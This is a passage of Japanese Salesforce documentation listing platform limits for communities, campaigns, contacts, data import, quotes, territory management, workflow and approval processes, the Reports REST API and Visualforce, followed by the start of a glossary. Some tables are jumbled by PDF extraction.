関連トピック:

コミュニティの制限

個人取引先コミュニティユーザの制限
1 人のユーザが所有できる個人取引先外部ユーザの数の制限です。
Salesforceユーザは最大 1000 件の個人取引先ポータルユーザの所有者になることができます。これには、カスタ
マーコミュニティプラスライセンス、カスタマーポータルライセンス、およびその他のロールベースのポータ
ルライセンスを持つ個人取引先ユーザが含まれます。大規模カスタマーポータルやカスタマーコミュニティな
ど、大規模ポータルライセンスを持つ個人取引先ユーザは、この制限数の対象にはなりません。パートナー
ポータルライセンスまたはパートナーコミュニティライセンスを持つユーザは、個人取引先ユーザになり得な
いため、この制限は適用されません。

関連トピック:

コミュニティの制限

Communities のレポートおよびダッシュボードの制限
コミュニティで [レポート] タブと [ダッシュボード] タブが公開されている場合、外部ユーザは、一部制限付き
でレポートとダッシュボードにアクセスできます。

重要: 外部ユーザがレポートを作成および編集できるようにするには、組織で拡張共有モデルを使用する
必要があります。「分析フォルダ共有」を参照してください。

次のライセンスを持つコミュニティユーザにレポートの作成および編集権限を付与できます。
コミュニティライセンス

• カスタマーコミュニティプラス
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• カスタマーコミュニティプラスログイン
• パートナーコミュニティ
• パートナーコミュニティログイン

ポータルライセンス
• カスタマーポータルマネージャ
• カスタマーポータルマネージャカスタム (エンタープライズ管理ユーザ用)

• カスタマーポータルマネージャ標準
• カスタマーポータルマネージャユーザ
• Gold Partner

• アイデア限定ポータル
• Overage Customer Portal Managerカスタム
• OverageCustomer Portal Manager標準
• パートナー
• Silver Partner (「レポートのエクスポート」権限はこのライセンスでは使用できません)

メモ:

• これらの権限は、カスタマーコミュニティや大規模カスタマーポータル、Service Cloud ポータル、およ
び認証 Web サイトなどの大規模ユーザライセンスでは使用できません。

• 従来のポータルライセンスを持つ外部ユーザは、コミュニティのレポートを作成および編集できます
が、ポータルのレポートは作成および編集できません。

外部ユーザに権限を付与しても、外部ユーザは次のことは実行できません。
• レポートまたはダッシュボードで特定の日時にメール送信および更新を行うようにスケジュールする
• 統合公開レポートフォルダにあるレポートを作成、編集、参照する
コミュニティ内のすべてのロールベースの外部ユーザは、「指定したユーザとして実行」および「ログインし
たユーザとして実行」を使用して、設定されたダッシュボードを、組織ごとに 1 日 1,000 回まで更新できます。
スケジュール設定された自動更新は、この制限にカウントされません。内部ユーザに対しては、更新制限はあ
りません。
「指定したユーザとして実行」オプションには、すべてのロールベースの外部ユーザが選択できます。

関連トピック:

外部ユーザのレポート管理の設定 — レポートの作成と編集
コミュニティでのカスタマーユーザへのスーパーユーザアクセスの付与
パートナーユーザへのスーパーユーザアクセスの付与
コミュニティの制限

コミュニティのナビゲーショントピックの制限
カスタマーサービス (Napili)コミュニティで使用できるナビゲーショントピックおよびサブトピックの最大数。
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ナビゲーショントピックの制限
カスタマーサービス (Napili)コミュニティテンプレートで設定できるナビゲーショントピックおよびサブトピッ
クの最大数を次に示します。

最大エントリ数レベル

251 (親)

102 (サブトピック)

103 (サブトピック)

関連トピック:

コミュニティの制限

コミュニティモデレーションの制限
コミュニティモデレーションの制限により、コミュニティのパフォーマンスが最適化されます。

条件の制限
• 組織では、最大 30 個のキーワードリスト条件を設定できます。これは、コミュニティ単位ではなく組織単

位の制限です。
• 組織では、最大 100 個のメンバー条件を設定できます。これは、コミュニティ単位ではなく組織単位の制

限です。

ルールの制限
組織では、最大 30 個のルールを設定できます。これは、コミュニティ単位ではなく組織単位の制限です。こ
の制限には、コンテンツルールと処理数ルールの両方が含まれます。

関連トピック:

コミュニティの制限

機能の制限

活動の制限
ToDo および行動の動作に関する考慮事項です。
キャンペーンの制限
キャンペーン階層、取引先責任者、影響期間条件の制限です。
取引先責任者の制限
法人取引先に関連付けられた取引先責任者の制限です。
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取引先責任者の役割の制限事項
取引先責任者の役割には、いくつかの制限事項があります。
インポートの制限
データインポートの制限はレコードタイプによって異なります。
個人取引先および法人取引先の制限
個人取引先および法人取引先の項目の制限です。
見積の制限
見積テンプレートおよび見積 PDF の制限です。
スケジュールの制限
組織が使用できるスケジュールタイプの制限です。
エンタープライズテリトリー管理の制限
エンタープライズテリトリー管理のモデル、テリトリー、および割り当てルールの制限。
プロセスの自動化の制限
プロセスの自動化ツールであるプロセスビルダー、Visual Workflow、ワークフロー、および承認の制限を確
認します。
地図およびロケーションサービスの制限
ユーザあたりのマップビューの制限です。
レポートおよびダッシュボード REST API の制限
レポートおよびダッシュボード REST API の制限
Visualforce コンポーネントの制限
Visualforce コンポーネントおよびページに関する制限です。

関連トピック:

Visual Workflow の制限および考慮事項

活動の制限
ToDo および行動の動作に関する考慮事項です。
• API で生成され、1 人以上の招待者が含まれるすべてのリストで、[割り当て先] に行動の所有者ではなく招

待者が含まれます。
• Shared Activities を有効にしていない場合、活動リレーションに基づくカスタムレポートには行動主催者と招

待者が含まれず、また誰も招待されていない行動は表示されません。
• ToDo の最大数と終了日の計算

作成できる一連の定期的な ToDo の数には制限があり、その制限は ToDo の頻度によって異なります。使
用可能な最も遅い終了日は ToDo の最大数によって決まります。
たとえば、毎月繰り返す定期的な ToDo では、最大 60 個の一連の ToDo がサポートされます。したがっ
て、終了日を開始日から最大 5 年間スケジュールできます。
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最も遅い終了日 (開始日から)ToDo の最大数頻度

100 日100毎日

20 週100平日

1 年53毎週

5 年60毎月

10 年10毎年

制限は、使用する Salesforce 実装によって異なる場合があります。

キャンペーンの制限
キャンペーン階層、取引先責任者、影響期間条件の制限です。

キャンペーン階層の制限
キャンペーン階層は、関連するキャンペーンの健全度を分析およびレポートするのに役立ちます。参照関
係を使用してキャンペーンを相互に関連付けることにより、特定のマーケティングプログラムやマーケティ
ング活動でキャンペーンをグループ化できます。
キャンペーンインフルエンス期間条件の制限
キャンペーンインフルエンス期間条件は、影響のあるキャンペーンとみなされる最大日数を指定します。
取引先責任者またはリードのキャンペーンへの追加に関する制限
キャンペーンとは、ダイレクトメールプログラム、セミナー、印刷広告、メール、またはその他のマーケ
ティング活動など、外部向けマーケティングプロジェクトです。

キャンペーン階層の制限
キャンペーン階層は、関連するキャンペーンの健全度を分析およびレポートするのに役立ちます。参照関係を
使用してキャンペーンを相互に関連付けることにより、特定のマーケティングプログラムやマーケティング活
動でキャンペーンをグループ化できます。
階層には、最大 5 レベルを含めることができます。各キャンペーンに対して設定できる親キャンペーンは 1 つ
だけですが、子キャンペーンの数は無制限です。

キャンペーンインフルエンス期間条件の制限
キャンペーンインフルエンス期間条件は、影響のあるキャンペーンとみなされる最大日数を指定します。
キャンペーンインフルエンス期間条件は、最大 9,999 日です。
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取引先責任者またはリードのキャンペーンへの追加に関する制限
キャンペーンとは、ダイレクトメールプログラム、セミナー、印刷広告、メール、またはその他のマーケティ
ング活動など、外部向けマーケティングプロジェクトです。
既存の顧客 (取引先責任者) または見込み客 (リード) をキャンペーンに追加する場合、次の制限が適用されま
す。

表 82 : 取引先責任者の追加に関する制限
最大レコード数取引先責任者の追加元

1 レポートにつき 50,000 件レポート

1 インポートファイルにつき 50,000 件csv 形式のファイル

1 リストページにつき 250 件リストビュー

表 83 : リードの追加に関する制限
最大レコード数リードの追加元

1 レポートにつき 50,000 件レポート

1 インポートファイルにつき 50,000 件csv 形式のファイル

1 リストページにつき 250 件リストビュー

取引先責任者の制限
法人取引先に関連付けられた取引先責任者の制限です。
取引先責任者は、法人取引先に関連付けられた人です。各取引先責任者には、電話番号、住所、役職、取引上
の役割などの情報が含まれます。

取引先責任者の複数の取引先への関連付けに関する制限事項
取引先責任者-to-複数取引先を使用して、1 つの取引先責任者を複数の取引先に関連付けることができます。
• ほとんどの機能では、取引先責任者の主取引先が引き続き参照されます。たとえば、Data.com の重複管理

では、レコードの比較時に主取引先が使用されます。したがって、間接取引先と取引先責任者のリレーショ
ンは、重複レコードの検出に使用する一致条件に含まれません。

• [取引先と取引先責任者] 標準レポートタイプからレポートを実行する場合、間接取引先責任者は使用でき
ません。

• カスタマーコミュニティユーザライセンスを持つコミュニティユーザは、取引先と取引先責任者の間接リ
レーションを参照できません。

• 取引先と取引先責任者のリレーションオブジェクトでは、次のカスタム項目種別はサポートされません。
– 参照関係
– 主従関係
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– 積み上げ集計
– ロングテキストエリア
– テキストエリア (リッチ)

• 取引先と取引先責任者のリレーションオブジェクトでは、次の機能とカスタマイズはサポートされません。
– 項目履歴
– 項目セット
– 承認
– レコードタイプ

• 取引先と取引先責任者のリレーションオブジェクトでは、カスタムアクションが制限付きでサポートされ
ています。
– カスタムアクションは、[取引先と取引先責任者のリレーション] オブジェクトに固有である必要があり

ます。グローバルアクションはサポートされていません。
– レコードを更新するアクションや Lightning コンポーネントまたは Visualforce ページを呼び出すアクショ

ンは作成できますが、レコードを作成するアクションを作成することはできません。
– [取引先と取引先責任者のリレーション] オブジェクトにはアクティビティを関連付けられないため、

メールを送信するアクションや活動を記録するアクションは作成できません。
– [取引先と取引先責任者のリレーション] オブジェクトのデフォルトのアクションは上書きできません。
– [取引先と取引先責任者のリレーション] オブジェクトを対象オブジェクトとして使用できるのは、取引

先責任者オブジェクト上で作成されたカスタムアクションのみです。
– [取引先と取引先責任者のリレーション] オブジェクトには Chatter フィードが含まれないため、Chatter 標

準アクションはサポートされていません。
• [取引先と取引先責任者のリレーション] オブジェクトはカスタムボタンをサポートしますが、リストビュー

上のカスタムボタンの内容のソースを Visualforce ページにすることはできません。

取引先責任者履歴に関する制限
• 取引先責任者の関連リストに対する変更は、取引先責任者履歴で追跡されません。

取引先責任者および個人取引先のカスタマーポータルの有効化および管理に関
する制限
• 代理管理者は大規模カスタマーポータルライセンスを取引先責任者に割り当てることはできません。
• API からカスタマーユーザを作成した場合、そのユーザには「Chatter アンサーユーザ」権限が選択されませ

ん。
• 個人取引先ユーザがカスタマーポータルにセルフ登録しようとすると、ポータル管理者に問い合わせるよ

うに指示するメール通知が送信されます。「カスタマーポータルのログインと設定の有効化」 (ページ2846)

を参照してください。
• カスタマーポータルの使用が有効になっている個人取引先はマージできません。
• カスタマーポータルの使用が有効になっている個人取引先は削除できません。
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• パートナーポータルが有効になっている取引先責任者は、同様にパートナーポータルが有効になっている
取引先にのみ移行できます。

セルフサービスが有効になっている取引先責任者の取引先の変更に関する制限
• セルフサービスポータルで、セルフサービスユーザ (ページ2054)である取引先責任者は、現在の取引先に関

連付けられている場合にのみケースを参照できます。
• セルフサービスユーザが商談を表示することはできません。

取引先責任者および個人取引先のセルフサービスの削除に関する制限
• 有効なセルフサービスユーザを削除することはできません。セルフサービスへのユーザのアクセス権を無

効にすることのみが可能です。
• 有効なセルフサービスユーザに関連付けられている取引先責任者または個人取引先を削除することはでき

ません。代わりに、セルフサービスポータルへのユーザのアクセス権を無効にしてから、その取引先責任
者または個人取引先を削除します。

取引先責任者の役割の制限事項
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

取引先責任者の役割には、いくつかの制限事項があります。
• 取引先責任者の詳細ページから商談を作成すると、その責任者が商談の主取

引先責任者になります。ただし、取引先責任者の役割は自動的に割り当てら
れません。

• ケース取引先責任者の役割では、[主] オプションは使用できません。ケー
スの主取引先責任者は常に、[ケース詳細] セクションの [取引先責任者名]に
表示されている取引先責任者となります。

インポートの制限
データインポートの制限はレコードタイプによって異なります。
ACT!、Outlook、CSV (カンマ区切り値) 形式でデータ保存できるプログラム (Excel や GoldMine など) から、データを
インポートできます。

必要なユーザ権限インポートレコードの件数制限レコードタイプ

取引先に対する「作成」
および

データインポートウィザードを使
用して一度に 50,000 件

自分が所有する法人取引先と取引
先責任者

取引先に対する「編集」
および
「個人データのインポート」
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必要なユーザ権限インポートレコードの件数制限レコードタイプ

取引先に対する「作成」
および

一度に 50,000 件他のユーザが所有する法人取引先
と取引先責任者

取引先および取引先責任者に対す
る「編集」
および
「すべてのデータの編集」

取引先に対する「作成」
および

一度に 50,000 件自分が所有する個人取引先

取引先に対する「編集」
および
「個人データのインポート」

取引先に対する「作成」
および

一度に 50,000 件他のユーザが所有する個人取引先

取引先および取引先責任者に対す
る「編集」
および
「すべてのデータの編集」

「リードのインポート」一度に 50,000 件リード

インポートするデータに応じて異
なります。

一度に 50,000 件キャンペーンメンバー

• キャンペーンメンバーの状況
• 既存の取引先責任者
• 既存のリード
• 既存の個人取引先
• 新規取引先責任者
• 新規リード

「カスタムオブジェクトのインポー
ト」
および

一度に 50,000 件カスタムオブジェクト

カスタムオブジェクトに対する「編
集」

「ソリューションのインポート」一度に 50,000 件ソリューション
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必要なユーザ権限インポートレコードの件数制限レコードタイプ

これらのレコードはデータインポートウィザードを使用してインポート
できません。

納入商品
ケース
キャンペーン
契約
ドキュメント
商談
商品

インポートファイルは最大 100 MB にすることができますが、ファイルの各レコードは 400 KB を超えることがで
きず、これは約 4,000 文字に相当します。インポートできる項目の数を判断するには、4,000/ (API 項目名の平均
文字数 * 2) という数式を使用します。たとえば、項目の平均文字数が 40 である場合は、約 50 の項目をインポー
トできます。また、インポートされるメモと説明はそれぞれ、32 KB を超えることはできません。32KB より長
い説明は切り捨てられます。納入商品、ケース、キャンペーン、契約、ドキュメント、商談、商品は、イン
ポートウィザードではインポートできません。

関連トピック:

個人取引先および法人取引先の制限
キャンペーンメンバーのインポート

個人取引先および法人取引先の制限
個人取引先および法人取引先の項目の制限です。
組織で個人取引先を使用している場合は、取引先項目ページに、個人取引先および法人取引先項目の両方が一
覧表示されます。個人取引先では、取引先および取引先責任者項目が併用されます。次の取引先責任者項目
は、個人取引先では使用できますが、法人取引先では使用できません。
• 個人取引先アイコンが表示されている取引先標準項目リスト内の項目。
• 取引先責任者カスタム項目 & リレーションリスト内の項目。

見積の制限
見積テンプレートおよび見積 PDF の制限です。

見積テンプレートの制限
状況によって、項目が見積テンプレートのパレットや、テンプレートから作成した PDF に表示されないことが
あります。
• テキスト項目のデフォルト値が 255 文字を超えている場合、その項目は見積テンプレートで使用できませ

ん。
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• 項目レベルセキュリティ設定によって表示や更新ができない項目は、テンプレートにその項目が含まれて
いる場合でも、テンプレートから作成した PDF 上に表示されません。PDF には参照のみの項目が表示されま
す。

• 見積ページレイアウト上に表示されていて、特定の見積の値がない項目は、見積テンプレートのパレット
に表示されますが、その見積から作成した PDF には表示されません。

• データが含まれていない見積品目名の項目は、テンプレートにその項目が含まれていても、PDF 作成時には
リストに列として表示されません。たとえば、割引を提供する見積品目名がない場合、リストに [割引]

項目が含まれていても、[割引] 列は表示されません。
• 見積ページレイアウト上に関連するリストが含まれていない場合、テンプレートパレットまたはそのペー

ジレイアウトを使用する見積の PDF に表示されません。

見積 PDF の制限
• 見積 PDF の関連リストに表示されるテキスト項目は、256 文字未満に切り捨てられます。この制限は、リッ

チテキストエリア項目、他のタイプのテキスト項目、標準項目、カスタム項目に適用されます。
• 見積 PDF では、右から左へ記述される言語はサポートされません。テキストは右揃えではなく左揃えで表

示されます。

スケジュールの制限
組織が使用できるスケジュールタイプの制限です。
Salesforceシステム管理者は組織で使用可能なスケジュールの種類を決定します。これらは数量スケジュール、
収益スケジュール、またはその両方です。システム管理者は、個別の商品ごとに設定可能なスケジュールの種
類も指定します。
Apexでスケジュールを参照している場合、無効にできるスケジュール種別 (数量または収益) は 1 つのみです。
たとえば、Apex でスケジュールオブジェクト (コード内の OpportunityLineItemSchedule) を参照している
場合、片方のスケジュール種別を無効にすることはできますが、両方を無効にすることはできません。

エンタープライズテリトリー管理の制限
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

エンタープライズテリトリー管理のモデル、テリトリー、および割り当てルー
ルの制限。

テリトリーモデルの制限
組織のSalesforceのエディションによって、本番組織および Sandbox 組織で作成で
きるテリトリーモデル数が決まります。この制限には、コピーによって作成さ
れたモデルも含まれます。

Sandbox 組織でのモデル
数

本番組織でのモデル数エディション

44Developer
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Sandbox 組織でのモデル数本番組織でのモデル数エディション

22Enterprise

44Performance

44Unlimited

テリトリーのデフォルトの制限
デフォルトでは、各テリトリーモデルには最大 1,000 個のテリトリーを設定できます。

割り当てルールの制限
各テリトリーには 15 個までの割り当てルールを指定できます。

プロセスの自動化の制限
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスの自動化ツールであるプロセスビルダー、Visual Workflow、ワークフ
ロー、および承認の制限を確認します。

ワークフロールールの制限

組織単位の制限説明

2,000オブジェクト全体のワークフロールー
ル合計数
(この制限は、ワークフロー、割り当
て、自動レスポンス、およびエスカ
レーションの有効なルールと無効な
ルール両方の任意の組み合わせに適用
されます)

500オブジェクトあたりのワークフロー
ルール合計数
(この制限は、ワークフロー、割り当
て、自動レスポンス、およびエスカ
レーションの有効なルールと無効な
ルール両方の任意の組み合わせに適用
されます)

50オブジェクトあたりの有効なワークフ
ロールール合計数
(この制限は、プロセスとワークフ
ロー、割り当て、自動レスポンス、お
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組織単位の制限説明

よびエスカレーションの有効なルールの任意の組み合
わせに適用されます)

10ワークフロールールあたりのタイムトリガ合計数1

40ワークフロールールあたりのルール適用時のアクショ
ン合計数1

40タイムトリガあたりの時間ベースのアクション合計数

標準Salesforceライセンスあたり 1,000 件 (Developer Edition

では 15 件)、組織あたり 2,000,000 件
1 日あたりのワークフローメール

501 時間あたりのワークフロータイムトリガ数

25 (Professional Edition ではなし)フロートリガワークフローアクション: フロー変数の
割り当て2

1ルール適用時のアクションと各タイムトリガの制限は、次のとおりです。
• 最大 10 回のメールアラート
• 最大 10 件の ToDo

• 最大 10 項目の更新
• 最大 10 件のアウトバウンドメッセージ
• 最大 10 件のフロートリガ2

2 フロートリガワークフローアクションのパイロットプログラムは終了しました。組織でパイロットをすでに
有効にしている場合は、引き続きフロートリガワークフローアクションを作成および編集できます。組織で 

パイロットを有効にしなかった場合は、代わりにプロセスビルダーの [フロー] アクションを使用します。

承認プロセスの制限

詳細制限

1,000組織あたりの承認プロセス合計数
300オブジェクトあたりの承認プロセス合計数
30承認プロセスあたりのステップ合計数
25ステップあたりの承認者合計数
40承認プロセスあたりの申請時のアクション合計数2

40承認プロセスあたりの最終承認時のアクション合計数
2
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詳細制限

40承認プロセスあたりの最終却下時のアクション合計数
2

40承認プロセスあたりの取り消しアクション合計数2

4,000

中国語、日本語、または韓国語の場合は 1,333 文字に
制限されます。

承認申請コメントの最大文字数

プロセスビルダーおよび Visual Workflow の制限
プロセスビルダーおよび Visual Workflow の制限は、それらの機能のドキュメントに記載されています。

関連トピック:

プロセスビルダーの制限
割り当てルール、自動レスポンスルール、エスカーレーションルール、およびワークフロールールの制限
Visual Workflow の制限

地図およびロケーションサービスの制限
ユーザあたりのマップビューの制限です。
地図およびロケーションサービスでは、Google マップを使用して標準住所項目の地図を表示し、Visualforce地図
を作成できます。また、ユーザがオートコンプリートを使用して新しい住所を入力できます。

マップビューの制限
各有料ユーザおよびプロビジョニング対象ユーザは、1 年あたり 4,000 回のマップビューが許可されています。
組織全体のマップビューは、その有料ユーザとプロビジョニング対象ユーザに割り当てられた合計マップビュー
数に制限されます。この組織の合計マップビュー数は、有料ユーザと無料ユーザの両方によって共有されま
す。マップビューは次のいずれかとして定義されます。
• 個々の標準住所の地図の表示

メモ: 同一レコードの請求先住所と納入先住所を表示した場合、2 回のマップビューとみなされます。

• 単一の Visualforce 地図の表示
• 場所が Visualforce 地図上の住所で指定されている地図のマーカーの表示

メモ: 場所が緯度と経度で定義された地図のマーカーは、マップビューには表示されません。

• 標準住所項目のルックアップの各オートコンプリート
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レポートおよびダッシュボード REST API の制限
レポートおよびダッシュボード REST API の制限
レポートおよびダッシュボード REST API には次の制限があります。
レポート API の制限

• クロス条件、標準レポート条件、行制限による絞り込みは、データを絞り込む場合には使用できませ
ん。

• 履歴トレンドレポートは、マトリックスレポートでのみサポートされています。
• API では、列として選択された 100 個までの項目を含むレポートのみ処理できます。
• 最近参照した 200 個までのレポートのリストが返されます。
• 1 時間あたり 500 回までのレポートの同期実行を組織で要求できます。
• API では、一度に 20 回までのレポートの同期実行の要求をサポートしています。
• 非同期に実行された 2,000 個までのレポートインスタンスのリストが返されます。
• API では、レポートの非同期実行の結果を取得するために、一度に 200 件までの要求をサポートしていま

す。
• 1 時間あたり 1,200 回までの非同期要求を組織で要求できます。
• レポートの非同期実行の結果は、24 時間以内に使用できます。
• API では、レポートの最初の 2,000 行までが返されます。検索条件を使用して結果を絞り込むことができ

ます。
• レポートの実行時にカスタム項目の検索条件を 20 件まで追加できます。

ダッシュボード API の制限
• 1 時間あたり 200 回までのダッシュボードの更新を組織で要求できます。
• 1 時間あたり最大 5,000 個のダッシュボードの結果を組織で要求できます。

関連トピック:

ダッシュボードの制限

Visualforce コンポーネントの制限
Visualforce コンポーネントおよびページに関する制限です。
Visualforceでは、タグベースのマークアップ言語を使用して、アプリケーションを開発したり、Salesforceのユー
ザインターフェースをカスタマイズしたりします。

値制限

40 文字
ページ名は、40 文字以内にしてください。

Visualforce ページ名の最大長 (Visualforce ページとして一
意に識別される URL のテキスト)
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値制限

1 MB のテキスト
1 つのページには、最大 1 MB のテキスト、約 1,000,000

文字まで保持できます。

Visualforce ページ (ソースコードであり、表示される応
答ではありません) のソースコードの最大長

1 MB のテキスト
1 つのコンポーネントに、最大 1 MB のテキスト、約
1,000,000 文字を入れることができます。

Visualforce コンポーネント (ソースコード) のソースコー
ドの最大長

750 ピクセル
プロファイルタブに表示される単一ページの幅は、
750 ピクセル以下にする必要があります。

プロファイルタブに表示される Visualforce ページの最
大幅
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用語集

A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z

この用語集では、Salesforce ドキュメント全体で見られる用語を定義します。

A

取引先
状況を把握したい組織、会社、または消費者。たとえば、顧客、パートナー、競合会社など。

取引先割り当てルール
ユーザが定義する条件に基づいて、取引先をテリトリーに自動的に割り当てるルール。

取引先チーム
取引先を担当するユーザで構成されるチーム。たとえば、担当役員、専任サポート要員、およびプロジェ
クトマネージャで構成される取引先チームがあります。

活動
行動、ToDo、記録した通話、送信したメール。活動は、取引先、リード、商談、ケースなど他のレコード
に関連付けることができます。Shared Activities が有効の組織では、活動を複数の取引先責任者に関連付ける
ことができます。ToDo は、Salesforce システム管理者が設定したワークフロールールや承認プロセスで生成
することもできます。

管理者 (システム管理者)

アプリケーションの設定およびカスタマイズができる組織内の 1 人以上のユーザ。システム管理者プロファ
イルに割り当てられているユーザは、管理者権限があります。

調整なしの金額
コラボレーション売上予測で使用されます。個人が所有する商談 (収益ベース) およびその個人の部下の商
談の調整なしの合計数量。部下には売上予測階層のその個人の下位にいる全員が含まれます。この金額は
レポートにのみ表示されます。

マネージャによる調整なしの金額
コラボレーション売上予測で使用されます。売上予測の所有者が表示する売上予測数。これは、所有者の
商談 (収益ベース) とその部下の商談の合計金額です (売上予測所有者が所有者またはその部下の売上予測に
行った調整を含む)。これには、売上予測階層でその所有者より上位の売上予測マネージャによって行われ
る調整は含まれません。

アンサー
コミュニティアプリケーションの機能の 1 つ。この機能により、ユーザが質問したり、コミュニティメン
バーが回答を投稿したりすることができます。コミュニティメンバーは、それぞれの回答の役立ち度につ
いて投票し、また質問したユーザは最良の回答として返信をマークできます。

Apex

開発者が Force.com プラットフォームサーバでフローとトランザクションの制御ステートメントを Force.com

APIへのコールと組み合わせて実行できるようにした、強く型付けされたオブジェクト指向のプログラミン
グ言語。Java に似た、データベースのストアドプロシージャのように動作する構文を使用するApexにより、
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開発者は、ボタンクリック、関連レコードの更新、およびVisualforceページなどのほとんどのシステムイベ
ントにビジネスロジックを追加できます。Apex コードは、Web サービス要求、およびオブジェクトのトリ
ガから開始できます。

Apex Connector Framework

Salesforce Connect のカスタムアダプタを作成するための、DataSource 名前空間にある一連のクラスおよびメ
ソッド。Salesforce Connect に利用可能な他のアダプタがニーズに適さない場合は、カスタムアダプタを作成
して Salesforce 組織外に保存されているデータに接続します。

アプリケーション
「App」と表記されることもあります。特定のビジネス要件を扱うタブ、レポート、ダッシュボードおよび
Visualforce ページなどのコンポーネントの集合です。Salesforce では、セールスおよびサービスなどの標準ア
プリケーションを提供しています。お客様のニーズに合わせてこれらの標準アプリケーションをカスタマ
イズできます。また、アプリケーションをパッケージ化して、カスタム項目、カスタムタブ、カスタムオ
ブジェクトなどの関連コンポーネントと共にAppExchangeにアップロードできます。そのアプリケーション
を AppExchange から他の Salesforce ユーザが利用できるようにすることもできます。

アプリケーションメニュー
「Force.com アプリケーションメニュー」を参照してください。

AppExchange

AppExchangeは Salesforceの共有インターフェースであり、Force.comプラットフォームのアプリケーションや
サービスを参照および共有できます。

承認時のアクション
「自動アクション」を参照してください。

承認プロセス
承認プロセスでは、Salesforce でレコードを承認する方法を自動化します。承認プロセスでは、承認申請者
やプロセスの各ポイントでの実行内容など、承認の各ステップについて指定します。

記事
記事には、知識ベースで入手できるようにする会社の商品およびサービスに関する情報が取り込まれます。

記事マネージャ
Salesforceでは、記事マネージャは特定のタイプのユーザを表します。記事マネージャは、[記事の管理] タブ
にアクセスして記事の作成、編集、割り当て、公開、アーカイブ、および削除ができます。記事マネージャ
はナレッジマネージャと呼ばれる場合もあります。記事マネージャには、「記事の管理」ユーザ権限が必
要です。[記事の管理] タブは、「記事の管理」権限を持たないユーザには表示されません。

記事タイプ
Salesforce ナレッジのすべての記事は 1 つの記事タイプに割り当てられます。記事のタイプは、記事が含む
コンテンツのタイプ、外観、および記事にアクセスできるユーザを特定します。たとえば、単純な FAQ の
記事タイプには、[質問] および [回答] の 2 つのカスタム項目があり、記事マネージャが FAQ の記事の作
成または更新時にそこにデータを入力します。より複雑な記事タイプでは、複数のセクションに分かれた
多数の項目が必要な場合があります。レイアウトおよびテンプレートを使用することで、管理者は特定の
コンテンツに対して最も効果的な方法で記事タイプを構築できます。記事タイプへのユーザのアクセスは
権限によって制御されます。各記事タイプについて、管理者は「作成」、「参照」、「編集」、または「削
除」権限をユーザに与えることができます。たとえば、記事マネージャは内部ユーザには FAQ 記事タイプ
の参照、作成、編集を許可し、パートナーユーザには FAQ の参照のみを許可したりします。
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納入商品
顧客が所有する特定モデルまたは種別の商品。組織が納入商品を使用する方法に応じて、顧客が購入また
はインストールした商品、または顧客が使用する競合商品を表すことがあります。

割り当て
編集のために別のユーザに割り当てられたドラフト記事。割り当てには短い説明や期日が含まれている場
合があります。

@メンション
ユーザまたはグループの名前の前にある @ 記号 ([@Bob Smith] または [@DocTeam] など)。Chatter 投稿および
コメントでユーザを @メンションできます。ユーザに関して @メンションすると、その @メンションはユー
ザのプロファイルにリンクされ、投稿またはコメントがフィードに表示されて、そのユーザにメールで通
知されます。

自動レスポンスルール
提出されたレコードの属性に基づいてケースまたはリード登録に自動メールレスポンスを送信する条件セッ
ト。該当するケースは、セルフサービスポータル、カスタマーポータル、Web-to-ケースフォーム、メール
-to-ケースメッセージ、またはオンデマンドメール-to-ケースメッセージから登録されたケースです。該当
するリードは、Web-to-リードフォームから取り込まれたリードです。

B

最善達成予測
各営業担当者が、特定の月または四半期で達成する見込みのある総売上予測金額。マネージャの場合、こ
の値は、自分自身とチーム全体で達成する見込みのある金額に等しくなります。

最良の回答
アンサーコミュニティのメンバーが質問し、他のコミュニティメンバーが回答を投稿すると、質問者は回
答のいずれかを最良の回答としてマークできます。最良の回答は、質問の真下 (その他の回答の上) に表示
されます。最良の回答を指定することにより、同じ質問のある他のコミュニティメンバーが関連性の最も
高く、役立つ情報をすぐに見つけることができます。

空白のルックアップ
参照項目ダイアログに検索語が入力されない場合に実行されるルックアップ。

バケット化
レポートビルダーのツール。数式またはカスタム項目を作成せずに、項目ごとにレポートレコードを分類
できます。

法人取引先
状況を把握したい会社または組織。

C

キャンペーン
広告、ダイレクトメール、セミナーなど、見込み客を創出し、ブランド名を浸透させるために実施するマー
ケティング活動。
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キャンペーン階層
最大 5 つまでの階層化されたキャンペーンのセット。1 つの親キャンペーンは複数の子キャンペーンを持つ
ことができますが、1 つの子キャンペーンは 1 つしか親キャンペーン持つことができません。

キャンペーンメンバー
キャンペーンに関連付けられているリードまたは取引先責任者。

キャンペーン ROI (投資収益率)

マーケティング投資額に対する収益。キャンペーン ROI 分析レポートを使用して、ROI を分析します。ROI

は、純益 ([成立商談金額合計] - [実費]) を[実費] で除算して算出されます。算出された ROI はパーセント
で表します。

ケース
顧客からのフィードバック、問題、質問に関する詳細説明。顧客の問題の追跡および解決に使用します。

カテゴリ、ソリューション
類似したソリューションをまとめるためにソリューションに適用できるラベル。ソリューションカテゴリ
を使用すると、カスタマサポート担当者はケースの解決時にソリューションをすぐに見つけることができ
ます。セルフサービスポータルまたは公開ソリューションを使用する場合、顧客はカテゴリごとにソリュー
ションを参照し、必要なソリューションを見つけることができます。「親カテゴリ」も参照してください。

カテゴリ、アイデア
カテゴリは、システム管理者が定義した値で、アイデアをゾーン内で論理サブグループに整理するときに
役立ちます。[アイデア] タブの [カテゴリの参照] ドロップダウンリストを使用して、ユーザはアイデアをカ
テゴリ別に絞ることができ、[アイデアの投稿] ページの [分類]選択リストで、アイデアにカテゴリを追加
することができます。たとえば、アイデアゾーンのテーマが「洋服の型の改善」である場合には、「シャ
ツ」、「ジャケット」、「スラックス」などのカテゴリを設定します。各組織は共通のカテゴリセットを
1 つ持ち、各ゾーンに追加または削除することができます。システム管理者は、アイデアゾーンおよびアン
サーゾーンの各カテゴリを定義します。

カテゴリ、情報と回答
「アンサーのデータカテゴリ」と「Articles のデータカテゴリ」を参照してください。

アンサーのカテゴリグループ
アンサーゾーンでは、カテゴリグループに 1 つ以上のカテゴリが含まれており、質問を整理して参照しや
すくするのに役立ちます。カテゴリグループに階層が含まれる場合、最初のレベルのカテゴリだけに [アン
サー] タブが表示されます。たとえば、コンピュータメーカーの場合、製品ゾーンに、高性能ラップトッ
